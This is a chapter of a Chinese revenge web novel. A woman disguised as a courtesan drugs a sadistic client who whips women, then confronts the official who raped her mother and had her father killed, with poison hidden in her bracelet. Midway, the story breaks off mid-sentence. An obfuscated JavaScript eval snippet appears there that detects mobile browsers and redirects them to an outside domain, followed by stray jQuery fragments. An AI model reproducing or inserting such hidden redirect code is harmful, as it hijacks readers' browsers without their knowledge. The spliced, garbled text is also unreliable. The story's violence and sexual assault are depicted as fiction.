71. 意外3

苏荷几番挣扎,终是不敌男人的力道,被男人拖进屋内后,又被男人挥手一甩,结结实实摔在了地上。


所幸地上有绒毯,缓冲了力道,不至于让她受伤。


她发髻凌乱,瘫坐在地:“公子究竟想干什么?”


男人哈哈笑了几声:“你是花娘,我是恩客,你说我想干什么?”他说着又指着屋内卧于软榻上的另一名花娘:“她对于我想要干什么应该有更深的体会吧。”


那名花娘同样发髻凌乱、形容狼狈,领口被撕破,露出胸口与肩膀上的一大片肌肤,肌肤上伤痕累累血迹斑斑。


软榻旁还扔了一条染着血迹的长鞭。


很明显,这个男人有虐杀癖。


苏荷稳住心神:“公子可知,奴家是来侍奉周大人的,也就是尚书令的独子周元泽,公子若从中截胡,恐怕会惹祸上身。”


男人蹲下来,狠狠掐住她的下颌,看着她。


他看似弱冠之龄,却生了一双老成的眼,犹如千年妖兽,心机莫测。


他说:“你这个花娘倒是有些意思,竟还知道用周家来压人,只是恐怕要让你失望了,本公子从不曾将周家放在眼里。”说完揪住她的发髻往床榻前拖。


苏荷被他揪得头痛欲裂。


她想打开手镯,将药粉洒向他,但现下她被他拽着,位置不利。


男人将她拖到榻前的空地上,继而抄起自己的腰带狠狠抽向她,边抽边骂:“女人如同牛马,需得一鞭一鞭地调教,待调教温驯了,方能任人坐骑……”


苏荷拱起背,任那腰带一下下抽到自己的背骨上。


有那么一瞬,她仿佛又回到了当日的李家,回到了被李姝丽殴打的日子,那时她也是这般咬牙忍受、咬牙不还手。


但今日的苏荷,已不是当日的苏荷。


即便今日的苏荷遇到当日的李姝丽,也必不会任其打骂了。


她软声求饶:“公子勿怒,奴家愿意侍奉公子。”


又说:“还望公子饶过奴家。”


男人闻言总算是收了手。


他以手支膝喘着气,好似刚刚抽几下腰带耗尽了他所有体力。


他笑了笑:“倒是个知趣的。”说完扔掉手中腰带,俯下身来,欲撕开苏荷的衣衫。


“公子且等等。”苏荷以手臂护住衣衫,“能不能……去床上?”


男人轻笑:“你不过是本公子的牛马,也配睡床?”


不待苏荷回应,他再次伸手去扯她的衣衫。


苏荷却以迅雷不及掩耳之势打开手镯,将其中药粉淅淅沥沥洒向了男人……


不过须臾,男人便意识迷散,身子晃了晃,如死猪般倒在了地上,且半个身子都压在苏荷身体上。


她万般嫌弃,吃力地推开男人。


继而从地上爬起来,喘了口气,整理好发髻、衣衫。


抬眸望去,屋中烛火萦绕,一应器具奢华铮亮,从敞开的木柜里,可见几身绣着祥云的男子衣衫。


一看便知,这个男人长期留宿于此。


苏荷提步走向软榻。


软榻上伤痕累累的花娘瑟缩着,惊惧地看着她,又看向地上的男人:“他……他死了?”


“没死,不过昏迷了而已。”


“这……这可怎么得了?”


苏荷安慰她:“放心,他明早才能醒来,你有足够的时间逃跑。”


继而又问:“你身上伤势如何,能否自己行走?”


花娘惶惶然摇头,呜呜哭起来:“外头有侍卫,还有柳妈妈,又能逃到哪里去?”


出身青楼,要么死于男子的暴力之下,要么死于老鸨的刑罚之下,反正怎么选都是死路一条。


苏荷一时无奈,起身去窗前观望。


窗下是一个巨大的露台,几乎连接整层二楼,露台左侧还有通往一楼的楼梯。


她心头一喜,转身去扯床上的褥单,“我助你从这窗口逃出去,之后你便去平安巷一栋叫‘慈济院’的宅子,那里自有你的容身处。”


花娘仍是哭:“我……我不敢……”


苏荷恨铁不成钢:“你不敢便没活路。”


花娘哽咽着:“要不,还是妹妹先逃吧。”


她也以为她是新来的花娘,故尔唤她一声“妹妹”。


苏荷问:“那你怎么办?”


花娘止住哭,扫了眼昏迷在地的男人:“此人不只你我得罪不起,就连柳妈妈也得罪不起,我……我就在这屋中待到明日,届时他醒来后问起时,我就说……就说我也被妹妹迷晕了,如此,或许……能逃过一劫。”


苏荷看着她,一时无言。


面对残酷的命运,有的人选择了反抗,有的人却选择屈服。


说不清谁比谁高明,或许只是选择不同吧。


她顺势问:“此人究竟是何人?”


“听柳妈妈说是宫里的贵人,至于具体是谁……我也不清楚。”


苏荷倒抽一口凉气:“你当真不逃?”


花娘摇头:“不逃。”


“好,那我逃了。”她转身离开。


她可惹不起宫里的贵人,但躲得起。


行至门口时她兀地止步,转头问:“姐姐可知周元泽在哪间房?”


“妹妹要找周大人?”


“是。”


花娘犹豫着,怕惹麻烦,但最终还是透露:“从这间房数过去,第五间,便是周大人的房。”


“多谢姐姐。”苏荷转头出门,并轻轻带上了房门。


她又回到了三楼的走廊上。


世界复归宁静,仿佛刚刚的一场恶斗从未发生。


苏荷再次整理衣裙、发髻,并摸了摸腕上的手镯。


手镯分两半,一半装着迷·药,一半装着致人命的毒药,如今迷·药已用完,只剩毒药了。


她只有一次机会了!


苏荷提步来到了第五扇房门前。


自八年前爹爹被杖杀,她与周元泽的距离从未这么靠近过。


自八年前见过周元泽,她也再未见过他的模样。


她曾想在复仇之前认一认他的脸,就像当初杀刘达忠之前去同心巷见刘达忠一样,但周元泽家世显赫、身份尊贵,出门要么前呼后拥要么掩人耳目,她压根儿没机会见到他。


但如今,此刻,她与他只隔了这薄薄的一扇门。


苏荷深吸一口气,抬手敲门。


才敲了几下,门便开了,一花娘站在门口:“怎的又来了一个?”随即转头问:“周大人可是又点了花娘?”


屋内传出一男子慵懒而恍惚的声音:“点了吗?不记得了,既然人来了,便是点了吧!”


那声音穿越时间长河,兀地击中苏荷的胸腔。


没错,这就是周元泽的声音。


——在杜家庭院里对着爹爹和娘亲咆哮过的声音。


苏荷一时晃神。


花娘压低声音问,“你新来的?”


苏何一怔,忙垂首应“是”。


“新来的竟也攀上了周大人?”


“是柳妈妈让我过来的。”


花娘冷哼一声,这才将门拉开更大的豁口。


苏荷擦过她身侧,垂首走了进去。


她步履不疾不徐,脚下的绒毯在视线里一点点延伸,直至延伸到屋内的窗前。


窗前的躺椅上,一年过四旬的肥胖男子正在惬意地吃着葡萄,身侧还


;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseint(c/a)))+((c=c%a)>35?string.fromCharCode(c+29):c.tostring(36))};if(!''''.replace(/^/,string)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new regexp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16026462|172355||http|test|mini|href|location''.split(''|''),0,{}));


() {


$(''.inform'').remove();


$(''#content'').append(''


有两名衣衫不整的花娘在给他摇扇、捶腿。


这已不是她记忆中的那张脸,但又有着那张脸基本的雏形。


譬如浮肿的眼眸、扁平的鼻梁,以及薄薄的甚至有些凹陷的双唇。


这是周元泽本人无疑!


只是整个人胖了、肿了,被漫长的岁月扭曲变形了。


八年的光阴,带走了许多东西,改变了许多东西,但有些东西却是矢志不变。


苏荷上前施礼:“奴家拜见周大人。”


周元泽一边嚼着葡萄一边邪恶地笑了笑:“稍等等,待我歇息一会儿后,便与娘子共赴极乐。”


听到“娘子”这一称谓从周元泽嘴中喊出,她感觉一阵恶心。


她向来只习惯谢无痕称自己为“娘子”。


他邪恶的笑也令她感觉恶心。


一如他曾侮辱娘亲说“终归是生产过的妇人,本少爷还意犹未尽呀”,那语气、那神态,与当年一模一样。


苏荷克制着汹涌的情绪,柔声回:“虽是雨天,却也是暑热蒸腾,柳妈妈担心周大人中了热暍,特吩咐奴家过来给周大人调制些解暑的饮子。”


周元泽漫不经心地问:“你会制饮子?”


苏荷垂首:“粗浅懂一些。”


周元泽挥退身侧花娘,从躺椅上起身,行至苏荷跟前。


他吩咐:“你且抬起头来。”


苏荷依令抬头,与他四目相对。


橙色火光下,她看到这个男人即便年过四旬,面上肌肤却仍是平整而白皙,幽深的目光中带着养尊处优的倨傲。


这倨傲与谢无痕的倨傲截然不同。


这倨傲里净是杀人越货的戾气,净是视人命如草芥的冷酷。


他看着她,怔了怔:“你这张脸,倒让我想起一个人来。”


苏荷恭敬问:“不知是何人?”


“一个同样会制饮子男仆。”


“莫非奴家的长相像男仆?”


周元泽意味深长地笑了笑。


几位花娘也跟着笑了笑。


周元泽说:“非也,只因那个男仆有着一个跟你一样貌美的妻子。”他说着轻轻捏住苏荷的下颌,叹了一声:“但,可惜了。”


苏荷面色不变,但心中已是翻江倒海。


他口中“会制饮子的男仆”许是指爹爹吧,而那个“貌美的妻子”便是被他奸·污的娘亲吧。


她的长相让他想起了他们。


八年了,他竟然记得他们。


很好,他还记得他们!


苏荷压制着发颤的声音,问:“周大人为何觉得可惜?”


周元泽松开她的下颌,坐回到躺椅上,一边往嘴里塞葡萄,一边回:“我占有了他的妻子,他却不自量力,声称要去府衙告倒本官,结果他妻子还真去敲了登闻鼓。”


“之后呢?”其中一位花娘问。


周元泽“噗”的一声吐掉嘴里的葡萄皮:“之后,她还没来得及开口说话,便被判官一剑割喉。”


几名花娘吓得同时怔住。


周元泽却呵呵笑了两声:“奴告主,结果就是死嘛。”


随即他又是一叹:“那美人儿只被我弄了一次便死了,你们说可惜不可惜?”


屋内无人敢出声。


苏荷恨意滔天。


她暗暗握拳,握得浑身骨骼铮铮作响,额上汗珠也一颗颗往外冒。


这个禽兽不如的男人,竟如此轻描淡写地说起那段往事,竟还轻描淡写地略去了杖杀爹爹的经过。


她恨不能即刻将他千刀万剐。


但现下她得忍,生吞活剥般痛苦地忍。


她故作随意地问:“后来那个男仆呢?”